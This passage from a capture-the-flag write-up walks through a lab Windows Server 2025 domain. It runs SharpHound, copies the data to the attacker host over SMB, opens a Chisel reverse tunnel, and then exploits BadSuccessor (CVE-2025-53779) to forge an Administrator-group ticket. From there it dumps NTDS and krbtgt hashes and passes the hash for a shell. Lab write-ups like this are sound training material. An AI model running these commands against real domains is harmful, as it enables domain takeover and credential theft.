2026-04-08T21:29:32.2257883-07:00|INFORMATION|Flags: Group, LocalAdmin, GPOLocalGroup, Session, LoggedOn, Trusts, ACL, Container, RDP, ObjectProps, DCOM, SPNTargets, PSRemote, UserRights, CARegistry, DCRegistry, CertServices, LdapServices, WebClientService, SmbInfo, NTLMRegistry
2026-04-08T21:29:32.3529066-07:00|INFORMATION|Beginning LDAP search for eighteen.htb
2026-04-08T21:29:32.5552238-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for EIGHTEEN.HTB
2026-04-08T21:29:32.5552238-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for EIGHTEEN.HTB
2026-04-08T21:29:32.5592428-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for EIGHTEEN.HTB
2026-04-08T21:29:32.5750573-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for EIGHTEEN.HTB
2026-04-08T21:29:32.5750573-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for EIGHTEEN.HTB
2026-04-08T21:29:32.5770674-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for EIGHTEEN.HTB
2026-04-08T21:29:32.5888660-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for EIGHTEEN.HTB
2026-04-08T21:29:32.5908777-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for EIGHTEEN.HTB
2026-04-08T21:29:32.5986566-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for EIGHTEEN.HTB
2026-04-08T21:29:32.6026769-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for EIGHTEEN.HTB
2026-04-08T21:29:32.6066952-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for EIGHTEEN.HTB
2026-04-08T21:29:32.6087047-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for EIGHTEEN.HTB
2026-04-08T21:29:32.6169943-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for EIGHTEEN.HTB
2026-04-08T21:29:33.1505273-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for EIGHTEEN.HTB
2026-04-08T21:29:33.1545472-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for EIGHTEEN.HTB
2026-04-08T21:29:33.3464017-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for EIGHTEEN.HTB
2026-04-08T21:29:33.3544474-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for EIGHTEEN.HTB
2026-04-08T21:29:33.3662566-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for EIGHTEEN.HTB
2026-04-08T21:29:33.3662566-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for EIGHTEEN.HTB
2026-04-08T21:29:33.3800713-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for EIGHTEEN.HTB
2026-04-08T21:29:33.3938881-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for EIGHTEEN.HTB
2026-04-08T21:29:33.3958989-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for EIGHTEEN.HTB
2026-04-08T21:29:33.4077009-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for EIGHTEEN.HTB
2026-04-08T21:29:33.4097139-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for EIGHTEEN.HTB
2026-04-08T21:29:33.4255439-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for EIGHTEEN.HTB
2026-04-08T21:29:33.4255439-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for EIGHTEEN.HTB
2026-04-08T21:29:33.4393527-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for EIGHTEEN.HTB
2026-04-08T21:29:33.4393527-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for EIGHTEEN.HTB
2026-04-08T21:29:33.4511501-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for EIGHTEEN.HTB
2026-04-08T21:29:33.4531614-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for EIGHTEEN.HTB
2026-04-08T21:29:33.4652206-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for EIGHTEEN.HTB
2026-04-08T21:29:33.4669713-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for EIGHTEEN.HTB
2026-04-08T21:29:33.4770168-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for EIGHTEEN.HTB
2026-04-08T21:29:33.4790242-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for EIGHTEEN.HTB
2026-04-08T21:29:33.4888140-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for EIGHTEEN.HTB
2026-04-08T21:29:33.5224631-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for EIGHTEEN.HTB
2026-04-08T21:29:33.5264815-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for EIGHTEEN.HTB
2026-04-08T21:29:33.5561036-07:00|INFORMATION|Beginning LDAP search for eighteen.htb Configuration NC
2026-04-08T21:29:33.8642771-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for EIGHTEEN.HTB
2026-04-08T21:29:33.8662871-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for EIGHTEEN.HTB
2026-04-08T21:29:33.8763324-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for EIGHTEEN.HTB
2026-04-08T21:29:33.8841144-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for EIGHTEEN.HTB
2026-04-08T21:29:33.9064530-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for EIGHTEEN.HTB
2026-04-08T21:29:33.9157376-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for EIGHTEEN.HTB
2026-04-08T21:29:33.9157376-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for EIGHTEEN.HTB
2026-04-08T21:29:33.9197550-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for EIGHTEEN.HTB
2026-04-08T21:29:33.9631787-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for EIGHTEEN.HTB
2026-04-08T21:29:33.9631787-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for EIGHTEEN.HTB
2026-04-08T21:29:33.9651861-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for EIGHTEEN.HTB
2026-04-08T21:29:33.9651861-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for EIGHTEEN.HTB
2026-04-08T21:29:33.9671941-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for EIGHTEEN.HTB
2026-04-08T21:29:35.5950257-07:00|INFORMATION|Producer has finished, closing LDAP channel
2026-04-08T21:29:35.7319068-07:00|INFORMATION|LDAP channel closed, waiting for consumers
2026-04-08T21:29:41.5232250-07:00|INFORMATION|Consumers finished, closing output channel
Closing writers
2026-04-08T21:29:41.5568987-07:00|INFORMATION|Output channel closed, waiting for output task to complete
2026-04-08T21:29:41.7104926-07:00|INFORMATION|Status: 318 objects finished (+318 35.33333)/s -- Using 69 MB RAM
2026-04-08T21:29:41.7104926-07:00|INFORMATION|Enumeration finished in 00:00:09.3744354
2026-04-08T21:29:41.8059605-07:00|INFORMATION|Saving cache with stats: 17 ID to type mappings.
 0 name to SID mappings.
 1 machine sid mappings.
 3 sid to domain mappings.
 0 global catalog mappings.
2026-04-08T21:29:41.8458122-07:00|INFORMATION|SharpHound Enumeration Completed at 9:29 PM on 4/8/2026! Happy Graphing!

It creates a .zip:

evil-winrm-py PS C:\programdata> ls 20260408212935_BloodHound.zip

    Directory: C:\programdata

Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a----          4/8/2026   9:29 PM          28860 20260408212935_BloodHound.zip  

I’ll create an SMB server on my host with smbserver.py share . -smb2support -username oxdf -password oxdf, and then exfil the BloodHound data out:

evil-winrm-py PS C:\programdata> net use \\10.10.14.61\share /u:oxdf oxdf
The command completed successfully.
evil-winrm-py PS C:\programdata> copy 20260408212935_BloodHound.zip \\10.10.14.61\share\

I’ll upload this to BloodHound, and start by marking adam.scott as owned. They don’t have any interesting outbound permissions:

image-20260408173513249

BloodHound didn’t capture the functional levels (shown as “unknown”). I can get that from the shell:

evil-winrm-py PS C:\> Get-ADDomain | Select Name, DomainMode

Name            DomainMode
----            ----------
eighteen Windows2025Domain


evil-winrm-py PS C:\> Get-ADForest | Select Name, ForestMode

Name                ForestMode
----                ----------
eighteen.htb Windows2025Forest

It’s running at 2025, which means all the domain controllers in this network are running on the bleeding edge version. Typically even when rolling out a new OS version like this, the functional level lags behind because there may be older DCs still left, and even if not, it’s common to leave it older until there’s a feature that requires the newer level.

Bad Successor

Background

Researchers at Akamai identified an issue they named Bad Successor that targets delegated Managed Service Accounts (dMSA), a feature that was added in Windows Server 2025. A dMSA account falls into the managed service account family:

Type Introduced Purpose
sMSA (standalone) Server 2008 R2 Auto-rotating password, tied to one machine
gMSA (group) Server 2012 Same, but shared across multiple machines
dMSA (delegated) Server 2025 Designed to replace legacy service accounts via a seamless migration

Even today (almost a year after its release), searching for “Windows server 2025 exploit” returns the Akamai blog as the top answer:

image-20260409115216832

Microsoft originally said this wasn’t an issue, but after release did patch it, and Bad Successor got the CVE ID CVE-2025-53779.

BadSuccessor abuses the dMSA migration feature introduced in Windows Server 2025. When a legacy service account is “migrated” to a dMSA, the dMSA is linked to its predecessor via the msDS-ManagedAccountPrecededByLink attribute, and the KDC issues tickets for the dMSA containing the full authorization context (group memberships and SIDs) of the original account. This is done so that a freshly migrated dMSA can seamlessly take over wherever the old account was used.

The flaw is that the KDC never verifies that the migration was actually authorized. It trusts the link attribute at face value. As a result, any principal with CreateChild rights for msDS-DelegatedManagedServiceAccount objects on any OU (a permission that is not normally considered privileged) can create a dMSA, set its msDS-ManagedAccountPrecededByLink to point at a high-value target like Administrator, and request a TGT. The resulting ticket’s PAC contains Domain Admin group membership.

Checking for Bad Successor

BloodHound should be able to check for this, but at the time of this blog post, most collectors don’t get the necessary information. SharpHound has this open issue.

Akamai created a PowerShell script to check for Bad Successor. I can upload that and run it:

evil-winrm-py PS C:\programdata> wget 10.10.14.61/Get-BadSuccessorOUPermissions.ps1 -outfile Get-BadSuccessorOUPermissions.ps1
evil-winrm-py PS C:\programdata> .\Get-BadSuccessorOUPermissions.ps1

Identity    OUs                          
--------    ---                          
EIGHTEEN\IT {OU=Staff,DC=eighteen,DC=htb}

adam.scott is in the IT group:

evil-winrm-py PS C:\programdata> whoami /groups

GROUP INFORMATION
-----------------

Group Name                                 Type             SID                                           Attributes                                        
========================================== ================ ============================================= ==================================================
Everyone                                   Well-known group S-1-1-0                                       Mandatory group, Enabled by default, Enabled group
BUILTIN\Users                              Alias            S-1-5-32-545                                  Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access Alias            S-1-5-32-554                                  Mandatory group, Enabled by default, Enabled group
BUILTIN\Remote Management Users            Alias            S-1-5-32-580                                  Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK                       Well-known group S-1-5-2                                       Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users           Well-known group S-1-5-11                                      Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization             Well-known group S-1-5-15                                      Mandatory group, Enabled by default, Enabled group
EIGHTEEN\IT                                Group            S-1-5-21-1152179935-589108180-1989892463-1604 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication           Well-known group S-1-5-64-10                                   Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Mandatory Level     Label            S-1-16-8192

Remote Test

To exploit Bad Successor, I’ll:

  1. Create a dMSA in OU=STAFF.
  2. Set two attributes:
    • msDS-ManagedAccountPrecededByLink → DN of the target (e.g. CN=Administrator,CN=Users,DC=eighteen,DC=htb)
    • msDS-DelegatedMSAState → 2 (marks the migration as “complete”)
  3. Request a TGT for the dMSA using a special KERB-DMSA-KEY-PACKAGE structure, and the resulting ticket will have the Administrator’s groups.

There are a couple ways to do this in practice:

  • Much of it can be done in PowerShell, but it’s relatively complex.
  • There’s a tool called SharpSuccessor that will create the dMSA and make the malicious link (steps 1 and 2 above), where I could then use Rubeus to get a TGT with the Administrator groups. This does suffer from a challenge similar to the double hop problem over WinRM.
  • I can create a tunnel back to my host and use NetExec and Impacket tools.

I’ll go for the last option. I’ll start a local Chisel server, upload the Windows binary to Eighteen, and connect:

evil-winrm-py PS C:\programdata> wget 10.10.14.61/chisel_1.10.1_windows_amd64 -outfile c.exe
evil-winrm-py PS C:\programdata> ./c.exe client 10.10.14.61:8000 R:socks

That command hangs, but on the server there’s a new tunnel:

oxdf@hacky$ /opt/chisel/chisel_1.10.0_linux_amd64 server -p 8000 --reverse
2026/04/09 20:41:25 server: Reverse tunnelling enabled
2026/04/09 20:41:25 server: Fingerprint lxRd5GpReedSJhHRSbIYca+6DNip+iTcUnnWgoQyAyQ=
2026/04/09 20:41:25 server: Listening on http://0.0.0.0:8000
2026/04/09 20:42:15 server: session#1: Client version (1.10.1) differs from server version (1.10.0)
2026/04/09 20:42:15 server: session#1: tun: proxy#R:127.0.0.1:1080=>socks: Listening

Now I can access SMB, LDAP, and other useful Windows DC ports:

oxdf@hacky$ proxychains -q netexec smb dc01.eighteen.htb
SMB         224.0.0.1       445    DC01             [*] Windows 11 / Server 2025 Build 26100 x64 (name:DC01) (domain:eighteen.htb) (signing:True) (SMBv1:None) (Null Auth:True)

netexec can check for Bad Successor:

oxdf@hacky$ proxychains -q netexec ldap dc01.eighteen.htb -u adam.scott -p iloveyou1 -M badsuccessor
LDAP        224.0.0.1       389    DC01             [*] Windows 11 / Server 2025 Build 26100 (name:DC01) (domain:eighteen.htb) (signing:Enforced) (channel binding:No TLS cert)
LDAP        224.0.0.1       389    DC01             [+] eighteen.htb\adam.scott:iloveyou1 
BADSUCCE... 224.0.0.1       389    DC01             [+] Found domain controller with operating system Windows Server 2025: 224.0.0.2 (DC01.eighteen.htb)
BADSUCCE... 224.0.0.1       389    DC01             [+] Found 1 results
BADSUCCE... 224.0.0.1       389    DC01             IT (S-1-5-21-1152179935-589108180-1989892463-1604), OU=Staff,DC=eighteen,DC=htb

It finds the IT group just like above.

Remote Exploit

The code to actually exploit Bad Successor hasn’t been (at the time of this post) merged into netexec, but rather is in this PR. I’ll clone that repo:

oxdf@hacky$ git clone https://github.com/azoxlpf/NetExec.git
Cloning into 'NetExec'...
remote: Enumerating objects: 33682, done.
remote: Counting objects: 100% (11463/11463), done.
remote: Compressing objects: 100% (4109/4109), done.
remote: Total 33682 (delta 7536), reused 7367 (delta 7354), pack-reused 22219 (from 3)
Receiving objects: 100% (33682/33682), 16.22 MiB | 15.42 MiB/s, done.
Resolving deltas: 100% (26068/26068), done.
oxdf@hacky$ git checkout feat/refactor-badsuccessor 
branch 'feat/refactor-badsuccessor' set up to track 'origin/feat/refactor-badsuccessor'.
Switched to a new branch 'feat/refactor-badsuccessor'

Typically I could run this without installing it using uvx, but proxychains makes that tricky. I’ll uv tool install . (remembering to uninstall and reinstall the standard netexec after).

I’ll also need to make sure my date is in sync. I can’t just use ntpdate, as that works over UDP which doesn’t proxy through proxychains. I’ll get the date from PowerShell:

evil-winrm-py PS C:\Users\adam.scott\Documents> Get-Date -Format "yyyy-MM-dd HH:mm:ss"
2026-04-10 01:21:54

And then set it locally:

oxdf@hacky$ sudo date -u -s "2026-04-10 01:21:54"
Fri Apr 10 01:21:54 AM UTC 2026

Now I can run the exploit:

oxdf@hacky$ proxychains -q netexec ldap dc01.eighteen.htb -u adam.scott -p 'iloveyou1' -M badsuccessor -o TARGET_OU='OU=Staff,DC=eighteen,DC=htb' DMSA_NAME=0xdf TARGET_ACCOUNT=Administrator
LDAP        224.0.0.1       389    DC01             [*] Windows 11 / Server 2025 Build 26100 (name:DC01) (domain:eighteen.htb) (signing:Enforced) (channel binding:No TLS cert) 
LDAP        224.0.0.1       389    DC01             [+] eighteen.htb\adam.scott:iloveyou1 
BADSUCCE... 224.0.0.1       389    DC01             [+] Found DC with Windows Server 2025: 224.0.0.2 (DC01.eighteen.htb)
BADSUCCE... 224.0.0.1       389    DC01             [+] dMSA '0xdf$' created at CN=0xdf,OU=Staff,DC=eighteen,DC=htb
BADSUCCE... 224.0.0.1       389    DC01             DNS Hostname: 0xdf.eighteen.htb
BADSUCCE... 224.0.0.1       389    DC01             Migration state: 2 (completed)
BADSUCCE... 224.0.0.1       389    DC01             Target account: CN=Administrator,CN=Users,DC=eighteen,DC=htb
BADSUCCE... 224.0.0.1       389    DC01             [+] Current keys:
BADSUCCE... 224.0.0.1       389    DC01             EncryptionTypes.aes256_cts_hmac_sha1_96: c23d2ee88cca21b1fed4a801e00f20a7318a8adb85d1cd08f8e2fc1fc94f3d5e
BADSUCCE... 224.0.0.1       389    DC01             EncryptionTypes.aes128_cts_hmac_sha1_96: 1f03e9cbb9e5672970560496c285ffb4
BADSUCCE... 224.0.0.1       389    DC01             EncryptionTypes.rc4_hmac: dad23aa0e8e234df8a524f58d065e3fc
BADSUCCE... 224.0.0.1       389    DC01             [+] Previous keys:
BADSUCCE... 224.0.0.1       389    DC01             EncryptionTypes.rc4_hmac: 0b133be956bfaddf9cea56701affddec
BADSUCCE... 224.0.0.1       389    DC01             [+] Service ticket saved to 0xdf$.ccache

This creates a TGT as the 0xdf$ user but with the Administrator’s groups. I’ll verify this in Beyond Root.

I can test it by authenticating over netexec:

oxdf@hacky$ KRB5CCNAME=0xdf\$.ccache proxychains -q netexec smb dc01.eighteen.htb --use-kcache
SMB         dc01.eighteen.htb 445    DC01             [*] Windows 11 / Server 2025 Build 26100 x64 (name:DC01) (domain:eighteen.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         dc01.eighteen.htb 445    DC01             [+] eighteen.htb\0xdf$ from ccache (Pwn3d!)

The (Pwn3d!) output means I’m in a privileged group.

I’ll use that ticket to dump the domain hashes:

oxdf@hacky$ KRB5CCNAME=0xdf\$.ccache proxychains -q netexec smb dc01.eighteen.htb --use-kcache --ntds
SMB         dc01.eighteen.htb 445    DC01             [*] Windows 11 / Server 2025 Build 26100 x64 (name:DC01) (domain:eighteen.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         dc01.eighteen.htb 445    DC01             [+] eighteen.htb\0xdf$ from ccache (Pwn3d!)
SMB         dc01.eighteen.htb 445    DC01             [+] Dumping the NTDS, this could take a while so go grab a redbull...
SMB         dc01.eighteen.htb 445    DC01             Administrator:500:aad3b435b51404eeaad3b435b51404ee:0b133be956bfaddf9cea56701affddec:::
SMB         dc01.eighteen.htb 445    DC01             Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
SMB         dc01.eighteen.htb 445    DC01             krbtgt:502:aad3b435b51404eeaad3b435b51404ee:a7c7a912503b16d8402008c1aebdb649:::
SMB         dc01.eighteen.htb 445    DC01             mssqlsvc:1601:aad3b435b51404eeaad3b435b51404ee:c44d16951b0810e8f3bbade300966ec4:::
SMB         dc01.eighteen.htb 445    DC01             eighteen.htb\jamie.dunn:1606:aad3b435b51404eeaad3b435b51404ee:9fbaaf9e93e576187bb840e93971792a:::
SMB         dc01.eighteen.htb 445    DC01             eighteen.htb\jane.smith:1607:aad3b435b51404eeaad3b435b51404ee:42554e3213381f9d1787d2dbe6850d21:::
SMB         dc01.eighteen.htb 445    DC01             eighteen.htb\alice.jones:1608:aad3b435b51404eeaad3b435b51404ee:43f8a72420ee58573f6e4f453e72843a:::
SMB         dc01.eighteen.htb 445    DC01             eighteen.htb\adam.scott:1609:aad3b435b51404eeaad3b435b51404ee:9964dae494a77414e34aff4f34412166:::
SMB         dc01.eighteen.htb 445    DC01             eighteen.htb\bob.brown:1610:aad3b435b51404eeaad3b435b51404ee:7e86c41ddac3f95c986e0382239ab1ea:::
SMB         dc01.eighteen.htb 445    DC01             eighteen.htb\carol.white:1611:aad3b435b51404eeaad3b435b51404ee:6056d42866209a6744cb6294df075640:::
SMB         dc01.eighteen.htb 445    DC01             eighteen.htb\dave.green:1612:aad3b435b51404eeaad3b435b51404ee:7624e4baa9c950aa3e0f2c8b1df72ee9:::
SMB         dc01.eighteen.htb 445    DC01             DC01$:1000:aad3b435b51404eeaad3b435b51404ee:d79b6837ac78c51c79aab3d970875584:::
SMB         dc01.eighteen.htb 445    DC01             0xdf$:13107:aad3b435b51404eeaad3b435b51404ee:dad23aa0e8e234df8a524f58d065e3fc:::
SMB         dc01.eighteen.htb 445    DC01             [+] Dumped 13 NTDS hashes to /home/oxdf/.nxc/logs/ntds/DC01_dc01.eighteen.htb_2026-04-10_084010.ntds of which 11 were added to the database
SMB         dc01.eighteen.htb 445    DC01             [*] To extract only enabled accounts from the output file, run the following command: 
SMB         dc01.eighteen.htb 445    DC01             [*] grep -iv disabled /home/oxdf/.nxc/logs/ntds/DC01_dc01.eighteen.htb_2026-04-10_084010.ntds | cut -d ':' -f1

I’ll use the administrator hash to get a shell over WinRM:

oxdf@hacky$ evil-winrm-py -i dc01.eighteen.htb -u administrator -H 0b133be956bfaddf9cea56701affddec
          _ _            _                             
  _____ _(_| |_____ __ _(_)_ _  _ _ _ __ ___ _ __ _  _ 
 / -_\ V | | |___\ V  V | | ' \| '_| '  |___| '_ | || |
 \___|\_/|_|_|    \_/\_/|_|_||_|_| |_|_|_|  | .__/\_, |
                                            |_|   |__/  v1.6.0

[*] Connecting to 'dc01.eighteen.htb:5985' as 'administrator'
evil-winrm-py PS C:\Users\Administrator\Documents>

And the root flag:

evil-winrm-py PS C:\Users\Administrator\Desktop> cat root.txt
c6559b06************************

Beyond Root

As root, I can dump the krbtgt account’s AES key and decrypt the TGT generated for the dMSA account, confirming that the ticket really does carry the Administrator’s group memberships. First, I’ll use secretsdump.py to get the krbtgt user’s keys:

oxdf@hacky$ KRB5CCNAME=0xdf\$.ccache proxychains -q secretsdump.py -k -no-pass -just-dc-user krbtgt eighteen.htb/0xdf\$@dc01.eighteen.htb
Impacket v0.13.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:a7c7a912503b16d8402008c1aebdb649:::
[*] Kerberos keys grabbed
krbtgt:aes256-cts-hmac-sha1-96:56b1a6191645e0d5adf64a84418ecee5f79abe7c2109f3aeca08b1cc1381d024
krbtgt:aes128-cts-hmac-sha1-96:5ad1b9baa9295bacca1286535e9efd8e
krbtgt:0x17:a7c7a912503b16d8402008c1aebdb649
[*] Cleaning up... 

Now I’ll pass the AES key to describeTicket.py:

oxdf@hacky$ describeTicket.py '0xdf$.ccache' --aes 56b1a6191645e0d5adf64a84418ecee5f79abe7c2109f3aeca08b1cc1381d024
Impacket v0.13.0 - Copyright Fortra, LLC and its affiliated companies

[*] Number of credentials in cache: 1
[*] Parsing credential[0]:
[*] Ticket Session Key            : 3b0c5223261346a1cef58d3f12858a9019befe03446f6b7d2da8ffc202a589b9
[*] User Name                     : 0xdf$
[*] User Realm                    : eighteen.htb
[*] Service Name                  : krbtgt/EIGHTEEN.HTB
[*] Service Realm                 : EIGHTEEN.HTB
[*] Start Time                    : 10/04/2026 08:33:01 AM
[*] End Time                      : 10/04/2026 18:33:01 PM
[*] RenewTill                     : 11/04/2026 08:32:50 AM
[*] Flags                         : (0x40a10000) forwardable, renewable, pre_authent, enc_pa_rep
[*] KeyType                       : aes256_cts_hmac_sha1_96
[*] Base64(key)                   : OwxSIyYTRqHO9Y0/EoWKkBm+/gNEb2t9Laj/wgKlibk=
[*] Decoding unencrypted data in credential[0]['ticket']:
[*]   Service Name                : krbtgt/EIGHTEEN.HTB
[*]   Service Realm               : EIGHTEEN.HTB
[*]   Encryption type             : aes256_cts_hmac_sha1_96 (etype 18)
[*] Decoding credential[0]['ticket']['enc-part']:
[*]   LoginInfo
[*]     Logon Time                : Infinity (absolute time)
[*]     Logoff Time               : Infinity (absolute time)
[*]     Kickoff Time              : Infinity (absolute time)
[*]     Password Last Set         : 10/04/2026 08:33:00 AM
[*]     Password Can Change       : 10/04/2026 08:33:00 AM
[*]     Password Must Change      : Infinity (absolute time)
[*]     LastSuccessfulILogon      : Infinity (absolute time)
[*]     LastFailedILogon          : Infinity (absolute time)
[*]     FailedILogonCount         : 0
[*]     Account Name              : 0xdf$
[*]     Full Name                 :
[*]     Logon Script              :
[*]     Profile Path              :
[*]     Home Dir                  :
[*]     Dir Drive                 :
[*]     Logon Count               : 0
[*]     Bad Password Count        : 0
[*]     User RID                  : 13107
[*]     Group RID                 : 515
[*]     Group Count               : 7
[*]     Groups                    : 515, 513, 512, 520, 519, 518, 500
[*]     Groups (decoded)          : (515) Domain Computers
[*]                                 (513) Domain Users
[*]                                 (512) Domain Admins
[*]                                 (520) Group Policy Creator Owners
[*]                                 (519) Enterprise Admins
[*]                                 (518) Schema Admins
[*]                                 +1 Unknown custom group
[*]     User Flags                : (32) LOGON_EXTRA_SIDS
[*]     User Session Key          : 00000000000000000000000000000000
[*]     Logon Server              : DC01
[*]     Logon Domain Name         : EIGHTEEN
[*]     Logon Domain SID          : S-1-5-21-1152179935-589108180-1989892463
[*]     User Account Control      : (128) USER_WORKSTATION_TRUST_ACCOUNT
[*]     Extra SID Count           : 1
[*]     Extra SIDs                : S-1-18-1 Authentication authority asserted identity (SE_GROUP_MANDATORY, SE_GROUP_ENABLED_BY_DEFAULT, SE_GROUP_ENABLED)
[*]     Resource Group Domain SID :
[*]     Resource Group Count      : 0
[*]     Resource Group Ids        :
[*]     LMKey                     : 0000000000000000
[*]     SubAuthStatus             : 0
[*]     Reserved3                 : 0
[*]   ServerChecksum
[*]     Signature Type            : hmac_sha1_96_aes256
[*]     Signature                 : 0139c70df2e1807553347b3c
[*]   KDCChecksum
[*]     Signature Type            : hmac_sha1_96_aes256
[*]     Signature                 : fec0cf4ae826a958c0681db7
[*]   ClientName
[*]     Client Id                 : 10/04/2026 08:33:01 AM
[*]     Client Name               : 0xdf$
[*]   UpnDns
[*]     Flags                     : (3) U_UsernameOnly, S_SidSamSupplied
[*]     UPN                       : 0xdf$@eighteen.htb
[*]     DNS Domain Name           : EIGHTEEN.HTB
[*]     SamAccountName            : 0xdf$
[*]     UserSid                   : S-1-5-21-1152179935-589108180-1989892463-13107
[*]   Attributes Info
[*]     Flags                     : (2) PAC_WAS_GIVEN_IMPLICITLY
[*]   Requester Info
[*]     UserSid                   : S-1-5-21-1152179935-589108180-1989892463-13107

The username matches the dMSA I created:

[*] User Name                     : 0xdf$

The groups match the Administrator user’s groups:

[*]     Groups                    : 515, 513, 512, 520, 519, 518, 500
[*]     Groups (decoded)          : (515) Domain Computers
[*]                                 (513) Domain Users
[*]                                 (512) Domain Admins
[*]                                 (520) Group Policy Creator Owners
[*]                                 (519) Enterprise Admins
[*]                                 (518) Schema Admins
[*]                                 +1 Unknown custom group

It’s the groups in the TGT that allow me to request a service ticket that can access things as administrator.